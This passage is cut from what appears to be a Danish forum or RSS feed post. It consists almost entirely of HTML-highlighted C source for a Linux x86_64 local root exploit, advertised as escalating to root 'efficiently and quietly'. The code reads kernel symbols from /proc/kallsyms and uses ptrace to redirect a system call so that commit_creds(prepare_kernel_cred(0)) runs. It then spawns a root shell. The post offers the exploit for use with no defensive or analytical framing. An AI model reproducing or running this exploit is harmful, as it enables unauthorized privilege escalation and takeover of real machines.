#007700">&lt;&nbsp;(</span><span style="color: #0000BB">tmp&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">);&nbsp;</span><span style="color: #0000BB">ptr</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)</span><span style="color: #0000BB">kernelmodecode</span><span style="color: #007700">;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">__asm__</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#092;n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&#092;tmovq&nbsp;&#36;0x101,&nbsp;%esc&#092;n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&#092;tint&nbsp;&#36;0x80&#092;n"</span><span style="color: #007700">);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"UID&nbsp;%d,&nbsp;EUID:%d&nbsp;GID:%d,&nbsp;EGID:%d&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getuid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">geteuid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">getgid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">getegid</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">execl</span><span style="color: #007700">(</span><span style="color: #DD0000">"/bin/sh"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"bin/sh"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"no&nbsp;/bin/sh&nbsp;??&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />}<br />&nbsp;<br /></span><span style="color: #0000BB">int&nbsp;main</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;argc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">**</span><span style="color: #0000BB">argv</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;esc</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;kern_s&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0xffffffff80000000</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;kern_e&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0xffffffff84000000</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;off&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0x0000000800000101&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">argc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">docall</span><span style="color: #007700">((</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">*)(</span><span style="color: #0000BB">kern_s&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">off</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">kern_e&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">kern_s</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">pid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fork</span><span style="color: #007700">())&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_TRACEME</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">execl</span><span style="color: #007700">(</span><span style="color: #0000BB">argv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">argv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"2"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"3"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"4"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">perror</span><span style="color: #007700">(</span><span style="color: #DD0000">"exec&nbsp;fault"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">pid&nbsp;</span><span style="color: #007700">==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"fork&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;;)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">wait</span><span style="color: #007700">(&amp;</span><span style="color: #0000BB">status</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">WIFEXITED</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Process&nbsp;finished&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">WIFSTOPPED</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">WSTOPSIG</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">SIGTRAP</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Process&nbsp;received&nbsp;signal:&nbsp;%d&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WSTOPSIG</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_PEEKUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">*</span><span style="color: #0000BB">ORIG_RAX</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0x000000000101</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_POKEUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">*</span><span style="color: #0000BB">ORIG_RAX</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">off</span><span style="color: #007700">/</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"PTRACE_POKEUSER&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//esc&nbsp;=&nbsp;ptrace(PTRACE_PEEKUSER,&nbsp;pid,&nbsp;8*ORIG_RAX,&nbsp;0);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">set</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_DETACH</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(;;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">10000</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_SYSCALL</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"PTRACE_SYSCALL&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}&nbsp;<br /></span></code></div></div></div>]]></description>
			<content:encoded><![CDATA[Dette exploit kan escalare dig root på x86_64 linux kernels. effektivt og stille!<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #FF8000">#include&nbsp;&lt;sys/types.h&gt;<br />#include&nbsp;&lt;sys/wait.h&gt;<br />#include&nbsp;&lt;sys/ptrace.h&gt;<br />#include&nbsp;&lt;inttypes.h&gt;<br />#include&nbsp;&lt;sys/reg.h&gt;<br />#include&nbsp;&lt;unistd.h&gt;<br />#include&nbsp;&lt;stdio.h&gt;<br />#include&nbsp;&lt;stdlib.h&gt;<br />#include&nbsp;&lt;sys/mman.h&gt;<br />#include&nbsp;&lt;string.h&gt;<br /><br /></span><span style="color: #0000BB">typedef&nbsp;int&nbsp;__attribute__</span><span style="color: #007700">((</span><span style="color: #0000BB">regparm</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">)))&nbsp;(*&nbsp;</span><span style="color: #0000BB">_commit_creds</span><span style="color: #007700">)(</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;cred</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">typedef&nbsp;unsigned&nbsp;long&nbsp;__attribute__</span><span style="color: #007700">((</span><span style="color: #0000BB">regparm</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">)))&nbsp;(*&nbsp;</span><span style="color: #0000BB">_prepare_kernel_cred</span><span style="color: #007700">)(</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;cred</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">_commit_creds&nbsp;commit_creds</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">_prepare_kernel_cred&nbsp;prepare_kernel_cred</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">int&nbsp;kernelmodecode</span><span style="color: #007700">(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">file</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">submissive</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">commit_creds</span><span style="color: #007700">(</span><span style="color: #0000BB">prepare_kernel_cred</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">unsigned&nbsp;long<br />get_symbol</span><span style="color: #007700">(</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">name</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">FILE&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">f</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">unsigned&nbsp;long&nbsp;addr</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;dummy</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;sname</span><span style="color: #007700">[</span><span style="color: #0000BB">512</span><span style="color: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">oldstyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;oldstyle&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"/proc/kallsyms"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"r"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"/proc/ksyms"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"r"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">oldstyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">EOF</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">oldstyle</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%p&nbsp;%c&nbsp;%s&#092;n"</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">**)&nbsp;&amp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">dummy</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%p&nbsp;%s&#092;n"</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">**)&nbsp;&amp;</span><span style="color: 